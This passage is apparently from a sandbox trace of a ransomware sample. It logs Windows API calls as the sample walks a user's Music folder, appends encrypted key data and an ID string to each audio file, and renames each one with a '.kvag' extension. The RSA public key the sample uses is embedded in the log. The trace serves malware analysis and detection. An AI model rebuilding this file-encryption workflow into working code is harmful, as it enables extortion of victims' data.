lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.750] CloseHandle (hObject=0x61c) returned 1 [0119.751] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\EcgP9ne1dlBj.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ecgp9ne1dlbj.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\EcgP9ne1dlBj.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ecgp9ne1dlbj.mp3.kvag")) returned 1 [0119.752] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3b89180, ftCreationTime.dwHighDateTime=0x1d4caa3, ftLastAccessTime.dwLowDateTime=0xa2f52d0, ftLastAccessTime.dwHighDateTime=0x1d4d476, ftLastWriteTime.dwLowDateTime=0xa2f52d0, ftLastWriteTime.dwHighDateTime=0x1d4d476, nFileSizeHigh=0x0, nFileSizeLow=0x4d8d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EImepXLJ4.m4a", cAlternateFileName="EIMEPX~1.M4A")) returned 1 [0119.752] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\EImepXLJ4.m4a") returned=".m4a" [0119.752] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\EImepXLJ4.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\eimepxlj4.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.752] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=19853) returned 1 [0119.752] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.754] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x4d67, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.754] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.756] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x4d8d, lpOverlapped=0x0) returned 1 [0119.756] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.756] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.756] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.756] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.757] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.757] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.757] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.757] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.757] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.758] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.758] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.758] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.758] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.758] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.758] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x4d8d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.758] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.758] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.758] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.758] CloseHandle (hObject=0x61c) returned 1 [0119.759] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\EImepXLJ4.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\eimepxlj4.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\EImepXLJ4.m4a.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\eimepxlj4.m4a.kvag")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe58edd0, ftCreationTime.dwHighDateTime=0x1d4cbe7, ftLastAccessTime.dwLowDateTime=0x95f3de30, ftLastAccessTime.dwHighDateTime=0x1d4c68e, ftLastWriteTime.dwLowDateTime=0x95f3de30, ftLastWriteTime.dwHighDateTime=0x1d4c68e, nFileSizeHigh=0x0, nFileSizeLow=0x12bbd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HaZTaX Zg1qKL.mp3", cAlternateFileName="HAZTAX~1.MP3")) returned 1 [0119.761] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HaZTaX Zg1qKL.mp3") returned=".mp3" [0119.761] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HaZTaX Zg1qKL.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\haztax zg1qkl.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.761] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=76733) returned 1 [0119.761] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.763] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x12b97, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.763] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.764] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x12bbd, lpOverlapped=0x0) returned 1 [0119.765] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.765] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.765] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.765] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.766] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.766] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.766] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.766] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.766] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.766] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.766] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.766] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.766] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.766] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.767] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x12bbd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.767] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.767] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.767] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.767] CloseHandle (hObject=0x61c) returned 1 [0119.768] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HaZTaX Zg1qKL.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\haztax zg1qkl.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HaZTaX Zg1qKL.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\haztax zg1qkl.mp3.kvag")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1049ef0, ftCreationTime.dwHighDateTime=0x1d4cbe4, ftLastAccessTime.dwLowDateTime=0x8eb2a910, ftLastAccessTime.dwHighDateTime=0x1d4c53c, ftLastWriteTime.dwLowDateTime=0x8eb2a910, ftLastWriteTime.dwHighDateTime=0x1d4c53c, nFileSizeHigh=0x0, nFileSizeLow=0x17ae3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hZq26AwDROO OI ep.m4a", cAlternateFileName="HZQ26A~1.M4A")) returned 1 [0119.769] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hZq26AwDROO OI ep.m4a") returned=".m4a" [0119.769] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hZq26AwDROO OI ep.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hzq26awdroo oi ep.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.770] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=96995) returned 1 [0119.770] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.772] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x17abd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.772] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.774] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x17ae3, lpOverlapped=0x0) returned 1 [0119.774] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.775] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.775] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.775] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.775] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.775] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.775] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.775] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.776] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.776] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.776] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.776] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.776] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.776] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.777] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x17ae3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.777] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.777] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.777] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.777] CloseHandle (hObject=0x61c) returned 1 [0119.778] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hZq26AwDROO OI ep.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hzq26awdroo oi ep.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hZq26AwDROO OI ep.m4a.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hzq26awdroo oi ep.m4a.kvag")) returned 1 [0119.780] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2f3f940, ftCreationTime.dwHighDateTime=0x1d4cd73, ftLastAccessTime.dwLowDateTime=0x9b3a2170, ftLastAccessTime.dwHighDateTime=0x1d4cde5, ftLastWriteTime.dwLowDateTime=0x9b3a2170, ftLastWriteTime.dwHighDateTime=0x1d4cde5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JMb5K DyX7", cAlternateFileName="JMB5KD~1")) returned 1 [0119.780] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416abd90, ftCreationTime.dwHighDateTime=0x1d4d145, ftLastAccessTime.dwLowDateTime=0xede81060, ftLastAccessTime.dwHighDateTime=0x1d4cba8, ftLastWriteTime.dwLowDateTime=0xede81060, ftLastWriteTime.dwHighDateTime=0x1d4cba8, nFileSizeHigh=0x0, nFileSizeLow=0x76ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KpgK4Eq8VgZx.wav", cAlternateFileName="KPGK4E~1.WAV")) returned 1 [0119.780] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\KpgK4Eq8VgZx.wav") returned=".wav" [0119.780] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\KpgK4Eq8VgZx.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\kpgk4eq8vgzx.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.780] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=30446) returned 1 [0119.780] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.782] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x76c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.782] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.783] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x76ee, lpOverlapped=0x0) returned 1 [0119.784] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.784] lstrlenA (lpString="-----BEGIN PUBLIC 